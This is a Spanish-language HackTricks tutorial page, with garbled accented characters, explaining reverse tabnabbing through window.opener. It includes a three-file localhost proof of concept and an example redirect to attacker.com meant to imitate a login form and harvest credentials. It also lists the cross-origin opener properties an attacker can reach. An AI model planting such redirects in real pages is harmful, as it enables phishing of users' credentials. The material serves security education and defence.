tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Descripci贸n

En una situaci贸n donde un atacante puede controlar el argumento href de una etiqueta <a con el atributo target="_blank" rel="opener" que va a ser clickeada por una v铆ctima, el atacante apunta este enlace a una web bajo su control (un sitio web malicioso). Luego, una vez que la v铆ctima hace clic en el enlace y accede al sitio web del atacante, este sitio web malicioso podr谩 controlar la p谩gina original a trav茅s del objeto javascript window.opener.
Si la p谩gina no tiene rel="opener" pero contiene target="_blank" y tampoco tiene rel="noopener", tambi茅n podr铆a ser vulnerable.

Una forma habitual de abusar de este comportamiento ser铆a cambiar la ubicaci贸n de la web original a trav茅s de window.opener.location = https://attacker.com/victim.html a una web controlada por el atacante que se parezca a la original, para que pueda imitar el formulario de inicio de sesi贸n del sitio web original y solicitar credenciales al usuario.

Sin embargo, ten en cuenta que como el atacante ahora puede controlar el objeto window del sitio web original, puede abusar de ello de otras maneras para realizar ataques m谩s sigilosos (驴quiz谩s modificando eventos de javascript para exfiltrar informaci贸n a un servidor controlado por 茅l?)

Visi贸n general

Con enlace de regreso

Enlace entre p谩ginas padre e hijo cuando no se utiliza el atributo de prevenci贸n:

https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png

Sin enlace de regreso

Enlace entre p谩ginas padre e hijo cuando se utiliza el atributo de prevenci贸n:

https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png

Ejemplos

Crea las siguientes p谩ginas en una carpeta y ejecuta un servidor web con python3 -m http.server
Luego, accede a http://127.0.0.1:8000/vulnerable.html, haz clic en el enlace y nota c贸mo la URL del sitio web original cambia.

vulnerable.html
<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>
malicious.html
<!DOCTYPE html>
<html>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
</html>
malicious_redir.html
<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>

Propiedades accesibles

En el escenario donde ocurre un acceso cross-origin (acceso entre diferentes dominios), las propiedades de la instancia de la clase JavaScript window, referida por la referencia del objeto JavaScript opener, que pueden ser accedidas por un sitio malicioso est谩n limitadas a las siguientes:

  • opener.closed: Esta propiedad se accede para determinar si una ventana ha sido cerrada, devolviendo un valor booleano.
  • opener.frames: Esta propiedad proporciona acceso a todos los elementos iframe dentro de la ventana actual.
  • opener.length: El n煤mero de elementos iframe presentes en la ventana actual es devuelto por esta propiedad.
  • opener.opener: Una referencia a la ventana que abri贸 la ventana actual se puede obtener a trav茅s de esta propiedad.
  • opener.parent: Esta propiedad devuelve la ventana padre de la ventana actual.
  • opener.self: El acceso a la ventana actual se proporciona por esta propiedad.
  • opener.top: Esta propiedad devuelve la ventana del navegador m谩s alta.

Sin embargo, en instancias donde los dominios son id茅nticos, el sitio malicioso obtiene acceso a todas las propiedades expuestas por la referencia del objeto JavaScript window.

Prevenci贸n

La informaci贸n de prevenci贸n est谩 documentada en la HTML5 Cheat Sheet.

Referencias

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks